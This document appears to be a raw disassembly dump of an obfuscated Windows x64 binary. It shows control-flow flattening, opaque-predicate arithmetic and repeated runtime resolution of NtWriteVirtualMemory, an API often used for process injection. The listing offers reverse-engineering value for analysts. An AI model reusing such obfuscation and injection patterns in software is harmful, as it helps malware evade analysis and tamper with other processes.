xor bl, al
or al, dl
xor al, 1
or al, bl
mov edx, eax
xor dl, 1
mov ebx, ecx
xor bl, 1
and al, cl
and bl, dl
or bl, al
mov eax, ecx
xor al, dl
or dl, cl
xor dl, 1
or dl, al
mov eax, edx
xor al, bl
test al, 1
mov eax, 0x14bb047a
mov ecx, 0x40b64323
cmovne eax, ecx
test dl, 1
mov ecx, 0x14bb047a
jmp 0x1400ca5e3
mov ecx, 0x6467319b
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
mov ecx, 0x8cb16991
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
mov ecx, 0xd583ebe7
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
mov ecx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
not ecx
mov ebx, ecx
and ebx, 0x7a29f27
mov edx, ebp
xor edx, 0x7a29f27
and edx, ebp
mov edi, ebx
and edi, edx
xor edx, ebx
or edx, edi
mov ebx, edx
not ebx
and ebx, 0xf85d60d9
and edx, 0x7a29f26
or edx, ebx
mov ebx, edx
not ebx
mov edi, ebx
and edi, 0xc1e8ba14
and edx, 0x3e1745eb
or edx, edi
and ebp, 0xc1e8ba14
and ecx, 0x3e1745eb
or ecx, ebp
xor ecx, edx
xor ebx, ecx
test ebx, ecx
sete cl
cmp eax, 9
setg dl
cmp eax, 0xa
setl al
xor al, cl
mov ecx, eax
xor cl, 1
or dl, al
and al, dl
xor dl, 1
mov ebx, edx
xor bl, cl
and bl, dl
and dl, cl
or dl, al
mov eax, ebx
xor al, dl
mov eax, 0x8feb5b9e
mov ebp, 0x2ef2d512
cmovne eax, ebp
test dl, dl
mov ecx, eax
cmovne ecx, ebp
jmp 0x1400ca0a7
mov ecx, 0xbf9d601f
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
mov rcx, qword [0x14024b040]
lea rdx, str.NtWriteVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [0x14024b728]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, 0x27dbc7fb
and ecx, 0xd8243804
or ecx, edx
mov ebp, ecx
xor ebp, 0x27dbc7fb
xor ecx, 0x40243004
and ecx, 0x4464f6de
mov edx, ebp
and edx, 0xbb9b0921
or edx, ecx
mov ecx, edx
xor ecx, 0xbb9b0921
xor edx, 0x4032c4
mov ebx, ecx
and ebx, 0xfc5d969b
and ebp, 0x3a26964
or ebp, ebx
mov ebx, ebp
not ebx
and ebx, 0x3a26965
and ebp, 0xfc5d969a
or ebp, ebx
and edx, 0xa14333c5
mov ebx, ecx
and ebx, 0x5ebccc3a
or ebx, edx
mov edi, dword [0x14024b724]
xor ebx, 0xa14333c4
and ecx, 1
or ecx, ebx
not ecx
mov ebx, ebp
and ebx, ecx
xor ecx, ebp
or ecx, ebx
mov ebp, ecx
not ebp
and ebp, 0x6cdbb9b6
and ecx, 0x93244649
or ecx, ebp
mov ebp, ecx
xor ebp, 0x11240449
xor ecx, 0x241121b6
and ecx, 0xa61163b6
and ebp, 0x59ee9c49
or ebp, ecx
mov ecx, ebp
xor ecx, 0x1649c41
xor ebp, 0xa0006396
and ebp, 0xf88a639e
and ecx, 0x7759c61
or ecx, ebp
xor ecx, 0xf88a639e
cmp ecx, 0xffffffff
sete r9b
setne bl
cmp edi, 0xa
setl dl
cmp edi, 9
setg r8b
and bl, r8b
and dl, r9b
or dl, bl
mov ebx, edx
xor bl, r8b
and bl, dl
xor r9b, r8b
mov r10d, r9d
xor r10b, 1
mov edx, r10d
and dl, r9b
xor dl, 1
mov r8d, edx
xor r8b, r9b
or dl, r9b
xor dl, 1
or dl, r8b
xor dl, bl
or r10b, bl
xor bl, r9b
xor bl, 1
xor r10b, 1
or r10b, bl
mov ecx, r10d
xor cl, dl
test cl, 1
mov ebp, 0x6aadf34
mov ecx, 0xb289e376
cmovne ebp, ecx
test r10b, 1
mov ecx, 0x6aadf34
cmovne ecx, ebp
mov qword [rsp + 0x30], rax
test dl, 1
cmove ecx, ebp
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
mov edx, dword [0x14024b728]
mov ecx, dword [0x14024b724]
lea eax, [rdx - 1]
imul eax, edx
mov ebp, eax
not ebp
mov edx, ebp
and edx, 0x7b97791a
mov ebx, eax
and ebx, 0x846886e4
or ebx, edx
xor ebx, 0x846886e4
mov edx, eax
and edx, 1
or edx, ebx
mov ebx, edx
not ebx
and ebx, 0xc35fd782
and edx, 0x3ca0287d
or edx, ebx
xor edx, 0x3ca0287d
and ebp, 0xd8482c1e
and eax, 0x27b7d3e1
or eax, ebp
xor eax, 0x27b7d3e1
mov ebp, edx
and ebp, eax
xor eax, edx
or eax, ebp
mov edx, eax
not edx
and edx, 0xbd657259
and eax, 0x429a8da6
or eax, edx
xor eax, 0x429a8da6
setne r8b
sete r10b
cmp ecx, 9
setg al
cmp ecx, 0xa
setl r9b
mov ecx, r10d
xor cl, r9b
mov edx, ecx
and dl, r10b
and cl, r9b
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, eax
xor dl, r10b
and dl, al
and r8b, r9b
and al, r10b
or al, r8b
xor dl, 1
xor al, 1
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
mov edx, eax
xor dl, 1
mov ebx, ecx
xor bl, 1
and cl, bl
and dl, al
xor cl, 1
mov r8d, ecx
xor r8b, bl
or cl, bl
xor cl, 1
or cl, r8b
xor dl, 1
mov r8d, edx
xor r8b, al
or dl, al
xor dl, 1
or dl, r8b
mov r8d, ecx
xor r8b, 1
and r8b, dl
xor dl, 1
and dl, cl
or dl, r8b
mov ecx, ebx
and cl, al
xor bl, al
or bl, cl
mov eax, ebx
xor al, dl
test bl, 1
mov ecx, 0x65b1a78c
mov ebp, 0x7705fbb2
cmovne ecx, ebp
test dl, 1
cmove ecx, ebp
test al, 1
mov eax, 0x65b1a78c
jmp 0x1400ca6f6
mov ecx, dword [0x14024b728]
mov r8d, dword [0x14024b724]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edi, ebp
not edi
mov ebx, edi
and ebx, 0x4cb8b7c6
mov ecx, ebp
and ecx, 0xb3474839
or ecx, ebx
mov ebx, ecx
xor ebx, 0x2040800
xor ecx, 0x403836c4
mov edx, ebp
xor edx, 0x633e3ec5
and edx, ebp
or ecx, 0x9cc1c13a
mov esi, edx
not esi
mov eax, ecx
and eax, 0xed9bc4e9
and ebx, 0x2243a04
or ebx, eax
or ecx, esi
and esi, 0xed9bc4e9
and edx, 0x12643b16
or edx, esi
xor edx, ebx
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0x9cc1c13b
and ecx, 0x633e3ec4
or ecx, eax
mov eax, ecx
not eax
and edi, 0xeceb55ee
and ebp, 0x1314aa11
or ebp, edi
mov edx, ebp
xor edx, 0x10148210
xor ebp, 0xeceb55ee
mov ebx, ecx
and ebx, 0xe3e07cc3
and eax, 0x1c1f833c
or eax, ebx
or ecx, ebp
and ebp, 0xe3e07cc3
and edx, 0x1c1f833c
or edx, ebp
xor edx, eax
not ecx
or ecx, edx
cmp ecx, 0xffffffff
setne r9b
sete r10b
cmp r8d, 0xa
setl r11b
cmp r8d, 9
setg al
mov r8d, r10d
or r8b, al
mov ecx, r10d
xor cl, al
not cl
and cl, al
mov ebx, r8d
xor bl, cl
xor cl, 1
xor bl, 1
or cl, r8b
xor cl, 1
or cl, bl
and r9b, r11b
or r11b, r10b
xor r11b, 1
and al, r10b
or al, r9b
mov edx, r11d
and dl, al
xor al, r11b
or al, dl
mov edx, ecx
xor dl, al
xor al, 1
mov ebx, ecx
xor bl, al
xor dl, 1
or al, cl
xor al, 1
or al, dl
mov edx, eax
xor dl, bl
test al, 1
mov ecx, 0x5180fb45
mov eax, 0x52d1d47b
cmovne ecx, eax
test bl, 1
cmove ecx, eax
test dl, 1
mov eax, 0x5180fb45
jmp 0x1400ca6f6
mov ecx, dword [0x14024b728]
mov r8d, dword [0x14024b724]
lea ebp, [rcx - 1]
imul ebp, ecx
mov eax, ebp
not eax
mov edx, ebp
xor edx, 0xfffffffe
and edx, ebp
mov ecx, ebp
or ecx, 1
mov edi, edx
not edi
mov esi, ecx
and esi, 0x2a9ed59
mov ebx, eax
and ebx, 0xfd5612a6
or ebx, esi
or ecx, edi
and edi, 0x2a9ed59
and edx, 0xfd5612a6
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and eax, edx
and ecx, ebp
or ecx, eax
not ecx
or ecx, edx
cmp ecx, 0xffffffff
sete cl
setne bl
cmp r8d, 9
setg dl
cmp r8d, 0xa
setl al
and al, bl
mov ebx, edx
and bl, cl
or bl, al
xor cl, dl
and dl, cl
xor cl, 1
mov eax, edx
and al, cl
xor cl, dl
or cl, al
mov edx, ecx
xor dl, 1
and cl, dl
mov eax, edx
and al, cl
xor cl, dl
or cl, al
mov edx, ebx
xor dl, 1
and dl, cl
xor cl, 1
mov eax, ebx
xor al, cl
and al, bl
and cl, bl
or cl, dl
mov edx, ecx
xor dl, al
test cl, cl
mov ecx, 0x82912ad4
mov ebp, 0xbf9d601f
cmovne ecx, ebp
test al, al
cmove ecx, r14d
test dl, 1
cmovne ecx, ebp
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
mov ecx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0xfffffffe
and edx, 0xb9e5d0d9
and ecx, 0x461a2f26
or ecx, edx
xor ecx, 0x461a2f27
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xb9275070
and edx, ecx
and ecx, 0x46d8af8f
or ecx, ebp
mov ebp, ecx
xor ebp, 0x4240a683
xor ecx, 0xb9275070
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x49e095c
and ebp, 0xfb61f6a3
or ebp, edi
or ecx, ebx
and ebx, 0x49e095c
and edx, 0xfb61f6a3
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x199b78e9
and ecx, 0xe6648716
or ecx, ebp
xor ecx, 0xe6648716
or ecx, edx
cmp ecx, 0xffffffff
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, edx
xor cl, al
and dl, bl
or bl, r8b
and al, r8b
or al, dl
xor al, 1
mov edx, ebx
xor dl, al
or al, bl
xor al, 1
or al, dl
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xadc5b0ce
mov ebp, 0x431ee30b
cmovne ecx, ebp
test al, 1
mov eax, 0xadc5b0ce
jmp 0x1400bca41
mov ecx, 0x12a9afb0
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
mov ecx, 0x8d476257
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
mov ecx, 0xd4caecba
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
mov ecx, 0x2d1d92ff
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
mov eax, dword [0x14024b728]
lea ebp, [rax - 1]
imul ebp, eax
mov eax, ebp
not eax
mov edx, eax
and edx, 0x3d5c0fca
mov ecx, ebp
and ecx, 0xc2a3f034
or ecx, edx
xor ecx, 0xc2a3f034
mov edx, ebp
and edx, 1
or edx, ecx
mov ecx, edx
not ecx
and eax, ecx
and edx, ebp
or edx, eax
not edx
or edx, ecx
cmp edx, 0xffffffff
sete al
cmp dword [0x14024b724], 0xa
setl cl
mov edx, ecx
or dl, al
xor dl, 1
xor al, cl
or dl, al
xor dl, 1
xor al, dl
mov ecx, eax
xor cl, 1
and dl, cl
xor cl, dl
test al, al
mov eax, 0x7705fbb2
mov ebp, 0x764839d
cmovne eax, ebp
test dl, dl
mov edx, 0x7705fbb2
cmove eax, edx
test cl, 1
cmove eax, ebp
jmp 0x1400cac86
mov edx, dword [0x14024b728]
mov r8d, dword [0x14024b724]
lea ebp, [rdx - 1]
imul ebp, edx
mov eax, ebp
not eax
mov ecx, ebp
xor ecx, 0xfffffffe
and ecx, ebp
mov edx, ebp
or edx, 1
mov edi, ecx
not edi
mov esi, edx
and esi, 0x999d117e
mov ebx, eax
and ebx, 0x6662ee80
or ebx, esi
or edx, edi
and edi, 0x999d117e
and ecx, 0x6662ee81
or ecx, edi
xor ecx, ebx
not edx
or edx, ecx
mov ecx, edx
not ecx
mov ebx, edx
and ebx, 0xec890618
and ecx, 0x1376f9e7
or ecx, ebx
or edx, ebp
and ebp, 0xec890618
and eax, 0x1376f9e7
or eax, ebp
xor eax, ecx
not edx
or edx, eax
cmp edx, 0xffffffff
setne al
cmp r8d, 9
setg cl
cmp r8d, 0xa
setl bl
xor bl, al
mov edx, ebx
xor dl, cl
and dl, bl
xor cl, al
xor cl, dl
mov eax, ecx
xor al, 1
and dl, al
xor al, dl
mov eax, 0x441e80e0
mov ebp, 0xe7c08b39
cmovne eax, ebp
test cl, cl
mov ecx, eax
mov ebp, 0x441e80e0
cmovne ecx, ebp
jmp 0x1400ca6f4
mov rcx, qword [0x14024b040]
lea rdx, str.NtWriteVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, 0x2d01aee6
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
mov ecx, 0x5df4563
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
mov ecx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x1d55e96
and edx, 0xfe2aa169
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xa6318e81
and edx, 0x59ce717e
or edx, ecx
mov ecx, edx
xor ecx, 0x581b2fe8
xor edx, 0x6e05011
and edx, 0x6ea5e19
mov ebx, ecx
and ebx, 0xf915a1e6
or ebx, edx
mov ebp, ebx
xor ebp, 0xf915a1e6
xor ebx, 0x2a85a10
mov edx, ebp
and edx, 0xb40815c8
and ecx, 0x4bf7ea37
or ecx, edx
mov edx, ecx
not edx
and edx, 0xf3f7f36d
and ecx, 0xc080c92
or ecx, edx
mov edi, ecx
xor edi, 0x30001002
and ebx, 0x4aa8da70
mov edx, ebp
and edx, 0xb557258f
or edx, ebx
xor edx, 0x4aa8da71
and ebp, 1
or ebp, edx
mov edx, ebp
not edx
xor ecx, 0x47ffe6a4
mov ebx, ecx
and ebx, 0xce912f7d
and edi, 0x316ed082
or edi, ebx
or ecx, ebp
and ebp, 0xce912f7d
and edx, 0x316ed082
or edx, ebp
xor edx, edi
not ecx
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xf2ba2a42
and edx, ecx
and ecx, 0xd45d5bd
or ecx, ebp
mov ebp, ecx
xor ebp, 0x54510
xor ecx, 0xf2ba2a42
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x2fcab0ed
and ebp, 0xd0354f12
or ebp, edi
or ecx, ebx
and ebx, 0x2fcab0ed
and edx, 0xd0354f12
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x99b553d7
and ecx, 0x664aac28
or ecx, ebp
xor ecx, 0x99b553d7
xor edx, ecx
test edx, ecx
setne r11b
sete r9b
cmp eax, 9
setg r8b
cmp eax, 0xa
setl dl
mov ebx, r9d
xor bl, r11b
and bl, r9b
mov eax, ebx
xor al, 1
or al, bl
xor al, 1
mov r10d, ebx
and r10b, al
xor al, bl
or al, r10b
xor al, 1
mov ebx, eax
or bl, dl
xor bl, 1
xor al, dl
not al
and al, dl
mov r10d, ebx
and r10b, al
xor al, bl
or al, r10b
and r8b, r9b
and r11b, dl
or r11b, r8b
mov ebx, edx
and bl, r9b
xor dl, r9b
or dl, bl
xor r11b, 1
mov ebx, r11d
xor bl, dl
or r11b, dl
xor r11b, 1
or r11b, bl
mov ebx, eax
xor bl, 1
mov edx, ebx
and dl, al
mov r8d, ebx
and r8b, dl
xor dl, bl
or dl, r8b
mov ecx, edx
xor cl, 1
and cl, r11b
xor bl, r11b
xor r11b, 1
and dl, r11b
or dl, cl
or r11b, al
xor r11b, 1
or r11b, bl
mov eax, r11d
xor al, dl
test al, 1
mov eax, 0xe13ae3cf
mov ecx, 0x2f6c99d1
cmovne eax, ecx
test r11b, 1
mov ecx, 0xe13ae3cf
cmovne ecx, eax
test dl, 1
jmp 0x1400ca6f6
mov al, byte [rsp + 0x2e]
mov cl, byte [rsp + 0x2f]
xor al, 1
mov edx, eax
xor dl, cl
xor dl, 1
mov ebx, edx
or bl, al
and dl, cl
or al, cl
mov ecx, eax
xor cl, dl
xor dl, 1
xor cl, 1
or dl, al
xor dl, 1
or dl, cl
mov eax, edx
and dl, bl
xor bl, 1
xor al, 1
mov r8d, ebx
xor r8b, al
and r8b, bl
and al, bl
or al, dl
mov ecx, r8d
xor cl, al
test cl, 1
mov edx, 0x7989833f
mov ebp, 0xdb180722
cmovne edx, ebp
test al, 1
mov ecx, edx
cmovne ecx, ebp
test r8b, 1
cmove ecx, edx
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
mov eax, dword [0x14024b728]
lea ebp, [rax - 1]
imul ebp, eax
mov eax, ebp
not eax
mov ecx, eax
and ecx, 0x63dbd0ec
mov edx, ebp
and edx, 0x9c242f13
or edx, ecx
mov ebx, edx
xor ebx, 0x88040800
xor edx, 0x62d9c020
mov ecx, ebp
or ecx, 0x76f9e732
and edx, 0x76f9e732
and ebx, 0x890618cc
or ebx, edx
and ecx, 0x76f9e733
xor ecx, ebx
mov edx, ecx
not edx
and edx, 0x78ca1484
and ecx, 0x8735eb7b
or ecx, edx
mov edx, ecx
xor edx, 0x8024c169
xor ecx, 0x78ca1484
mov ebx, ecx
and ebx, 0x5f532e96
and edx, 0xa0acd169
or edx, ebx
or ecx, ebp
and ebp, 0x5f532e96
and eax, 0xa0acd169
or eax, ebp
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
not eax
and eax, 0x80aad184
and ecx, 0x7f552e7b
or ecx, eax
xor ecx, 0x7f552e7b
sete cl
cmp dword [0x14024b724], 0xa
setl bl
mov r8d, ebx
or r8b, cl
xor r8b, 1
mov edx, ebx
xor dl, cl
or r8b, dl
and cl, dl
and dl, bl
xor cl, 1
xor dl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
mov ecx, edx
xor cl, 1
mov eax, edx
and al, cl
mov ebx, eax
xor bl, 1
xor al, dl
or bl, cl
xor bl, 1
or bl, al
xor bl, r8b
xor bl, 1
mov eax, r8d
and al, cl
xor cl, r8b
or cl, al
mov eax, ecx
xor al, bl
test al, 1
mov eax, 0x6dfae5cd
mov edx, 0x429c4c6b
cmovne eax, edx
test cl, 1
mov ecx, 0x6dfae5cd
jmp 0x1400ca5e3
mov edx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea edi, [rdx - 1]
imul edi, edx
mov ebp, edi
not ebp
mov ecx, edi
or ecx, 1
mov ebx, ecx
not ebx
mov edx, ebp
or edx, 0xab0b6e5c
and ecx, 0xab0b6e5d
and ebx, 0x54f491a2
or ebx, ecx
and edx, 0xab0b6e5d
xor edx, ebx
and ebp, 0x3b79f0f8
and edi, 0xc4860f07
or edi, ebp
mov ecx, edi
xor ecx, 0xc0840904
mov ebp, edx
not ebp
mov ebx, ebp
and ebx, 0x3633c683
and edx, 0xc9cc397c
or edx, ebx
xor edi, 0x3231c080
and edi, 0x3633c683
and ecx, 0xc9cc397c
or ecx, edi
xor ecx, edx
xor ebp, ecx
test ebp, ecx
setne cl
sete dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
mov r8d, eax
xor r8b, dl
and bl, dl
and cl, al
or cl, bl
and al, dl
or al, r8b
xor cl, 1
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, 1
and al, cl
xor al, 1
mov edx, eax
xor dl, cl
or al, cl
xor al, 1
or al, dl
xor al, r8b
xor r8b, 1
mov edx, r8d
and dl, cl
xor cl, r8b
or cl, dl
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0x9d46f634
mov ebp, 0x4fe97743
cmovne ecx, ebp
test al, 1
cmove ecx, ebp
test dl, 1
mov eax, 0x9d46f634
jmp 0x1400ca6f6
mov ecx, 0x2308e2fd
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
mov ecx, dword [0x14024b728]
lea eax, [rcx - 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xac24884
mov ebp, eax
and ebp, 0x9042
or ebp, edx
xor ebp, 0x9042
mov edx, eax
and edx, 0xf53d2739
or edx, ebp
mov ebp, edx
not ebp
and ebp, 0xf53d2738
and edx, 0xac2d8c7
or edx, ebp
and ecx, 0x86677bc9
and eax, 0x79988436
or eax, ecx
mov ecx, eax
xor ecx, 0x79988436
xor eax, 0x86677bc9
and eax, edx
not edx
and ecx, edx
or eax, ecx
xor edx, eax
test edx, eax
sete r8b
cmp dword [0x14024b724], 0xa
setl cl
xor r8b, cl
mov edx, r8d
xor dl, 1
xor cl, dl
not cl
and cl, dl
mov ebx, ecx
xor bl, dl
and bl, cl
mov eax, ecx
xor al, 1
and al, r8b
and cl, dl
or cl, al
mov eax, ebx
xor al, cl
mov eax, 0xdd240807
mov edx, 0x581354ff
cmovne eax, edx
test cl, cl
mov ecx, eax
cmovne ecx, edx
test bl, bl
jmp 0x1400ca6f6
mov ecx, dword [0x14024b728]
lea eax, [rcx - 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xebbe5b6e
and ecx, eax
and eax, 0x1441a491
or eax, edx
xor eax, 0x1441a491
mov edx, eax
and edx, ecx
xor eax, ecx
or eax, edx
mov edx, eax
not edx
mov ecx, edx
or ecx, 1
mov ebp, ecx
not ebp
and edx, 0xfffffffe
and eax, 1
or eax, edx
mov edx, eax
not edx
mov ebx, ecx
and ebx, 0xb8a1df69
and ebp, 0x475e2096
or ebp, ebx
or ecx, edx
and edx, 0xb8a1df69
and eax, 0x475e2096
or eax, edx
xor eax, ebp
not ecx
or ecx, eax
mov eax, ecx
not eax
and ecx, eax
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
sete r8b
setne al
cmp dword [0x14024b724], 0xa
setl cl
mov ebx, eax
or bl, cl
xor al, cl
not al
and al, cl
xor al, 1
mov edx, ebx
xor dl, al
or al, bl
xor al, 1
or al, dl
mov edx, ecx
or dl, r8b
xor cl, r8b
xor cl, 1
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
mov ebx, eax
xor bl, 1
mov edx, ebx
and dl, al
mov r8d, ebx
and r8b, dl
xor dl, bl
or dl, r8b
mov ebx, edx
xor bl, 1
and bl, cl
xor cl, 1
and dl, cl
or dl, bl
mov ebx, eax
xor bl, cl
or cl, al
xor cl, 1
or cl, bl
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0x89311b37
mov ebp, 0x4d55396b
cmovne ecx, ebp
test dl, 1
cmove ecx, ebp
test al, 1
mov eax, 0x89311b37
jmp 0x1400ca6f6
mov rcx, qword [0x14024b040]
lea rdx, str.NtWriteVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [0x14024b728]
mov eax, dword [0x14024b724]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and ecx, edx
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x3e4e819e
mov ebp, ecx
and ebp, 0xc1b17e61
or ebp, edx
mov edx, ebp
xor edx, 0xc1b17e61
xor ebp, 0x4e8116
mov ebx, edx
and ebx, 0x858571c3
and ecx, 0x7a7a8e3c
or ecx, ebx
mov ebx, ecx
not ebx
and ebx, 0x7d838a9e
and ecx, 0x827c7561
or ecx, ebx
xor ecx, 0x7f904a3
and ebp, 0xc17feb57
mov ebx, edx
and ebx, 0x3e8014a8
or ebx, ebp
xor ebx, 0xc17feb56
and edx, 1
or edx, ebx
mov ebp, edx
not ebp
and ebp, 0xf219fc63
and edx, 0xde6039c
or edx, ebp
xor edx, 0xde6039c
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ecx, edx
mov ebp, edx
xor ebp, 0xc72b5026
and ebp, edx
not edx
and edx, 0x89fd5cf1
and ecx, 0x7602a30e
or ecx, edx
mov edx, ecx
xor edx, 0x42020002
xor ecx, 0x81295020
or ecx, 0x38d4afd9
mov ebx, ebp
not ebx
mov edi, ecx
and edi, 0x955d1cdd
and edx, 0x42224022
or edx, edi
or ecx, ebx
and ebx, 0x955d1cdd
and ebp, 0x6aa2e322
or ebp, ebx
xor ebp, edx
not ecx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x38d4afd9
and ecx, 0xc72b5026
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xe36d2c0a
and ecx, 0x1c92d3f5
or ecx, ebp
xor ecx, 0x1c92d3f5
or ecx, edx
cmp ecx, 0xffffffff
setne dl
sete r8b
cmp eax, 9
setg bl
cmp eax, 0xa
setl cl
mov r9d, ecx
xor r9b, r8b
mov eax, r9d
xor al, 1
and bl, r8b
and dl, cl
or dl, bl
and cl, r8b
or cl, r9b
xor cl, 1
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, 1
and cl, al
or al, dl
and dl, r9b
or dl, cl
mov ecx, eax
xor cl, dl
test dl, dl
mov edx, 0x4da46998
mov ebp, 0x4ee3fc14
cmovne edx, ebp
test al, 1
mov eax, 0x4da46998
cmovne edx, eax
test cl, 1
cmove edx, ebp
mov ecx, edx
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
mov edx, dword [0x14024b728]
mov r9d, dword [0x14024b724]
lea ebp, [rdx - 1]
imul ebp, edx
mov edi, ebp
not edi
mov ebx, edi
and ebx, 0x37c2821c
mov edx, ebp
and edx, 0xc83d7de3
or edx, ebx
mov ebx, edx
xor ebx, 0x48210040
xor edx, 0x7428204
mov ecx, ebp
xor ecx, 0x4f678f44
and ecx, ebp
or edx, 0xb09870bb
mov esi, ecx
not esi
mov eax, edx
and eax, 0x92cc5da5
and ebx, 0x4d238240
or ebx, eax
or edx, esi
and esi, 0x92cc5da5
and ecx, 0x6d33a25a
or ecx, esi
xor ecx, ebx
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0x30f40474
and edx, 0xcf0bfb8b
or edx, eax
mov eax, edx
xor eax, 0x540c
and edi, 0xd7a7f0fc
and ebp, 0x28580f03
or ebp, edi
mov ecx, ebp
xor ecx, 0x8100f00
xor edx, 0x7f938b31
mov ebx, edx
and ebx, 0xb4ef20e3
and eax, 0x4b10df1c
or eax, ebx
xor ebp, 0x94a720e0
and ebp, 0xb4ef20e3
and ecx, 0x4b10df1c
or ecx, ebp
xor ecx, eax
xor edx, ecx
test edx, ecx
setne r8b
sete r10b
cmp r9d, 0xa
setl r11b
cmp r9d, 9
setg dl
mov ecx, edx
xor cl, r11b
and cl, dl
mov eax, ecx
not al
and al, cl
mov ebx, eax
and bl, cl
xor al, cl
or al, bl
mov r9d, r10d
mov ebx, r11d
xor r11b, r10b
or r10b, al
xor al, 1
or al, r8b
mov ecx, r10d
xor cl, al
or al, r10b
xor al, 1
or al, cl
and r9b, dl
and bl, r8b
or bl, r9b
or dl, r8b
xor dl, 1
or dl, r11b
mov ecx, edx
xor cl, bl
xor bl, 1
xor cl, 1
or bl, dl
xor bl, 1
or bl, cl
mov ecx, ebx
xor cl, 1
mov edx, eax
xor dl, 1
and cl, dl
or dl, bl
and bl, al
or bl, cl
mov eax, edx
xor al, bl
test al, 1
mov eax, 0x727d3369
mov ecx, 0xbb37a5d6
cmovne eax, ecx
test bl, 1
mov ecx, eax
mov ebp, 0x727d3369
cmovne ecx, ebp
test dl, 1
cmovne ecx, eax
cmp ecx, 0x2ec7e76
jle 0x1400bd420
jmp 0x1400bca5c
mov eax, dword [0x14024b728]
lea ebp, [rax - 1]
imul ebp, eax
mov eax, ebp
not eax
mov edx, eax
and edx, 0xf925546
mov ecx, ebp
and ecx, 0xf06daab8
or ecx, edx
xor ecx, 0xf06daab8
mov edx, ebp
and edx, 1
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xa6eb2d35
and edx, 0x5914d2ca
or edx, ecx
mov ecx, edx
xor ecx, 0x4114d002
xor edx, 0xa6eb2d35
mov ebx, edx
and ebx, 0x1e8806e8
and ecx, 0xe177f917
or ecx, ebx
or edx, ebp
and ebp, 0x1e8806e8
and eax, 0xe177f917
or eax, ebp
xor eax, ecx
not edx
or edx, eax
cmp edx, 0xffffffff
setne al
cmp dword [0x14024b724], 9
setg r9b
mov edx, r9d
and dl, al
xor r9b, al
or dl, r9b
xor dl, 1
mov eax, r9d
xor al, 1
mov r8d, edx
xor r8b, al
mov ecx, r9d
and cl, al
mov ebx, ecx
xor bl, 1
xor cl, r9b
or bl, al
xor bl, 1
or bl, cl
xor bl, dl
xor r8b, 1
or dl, r9b
xor dl, 1
or dl, r8b
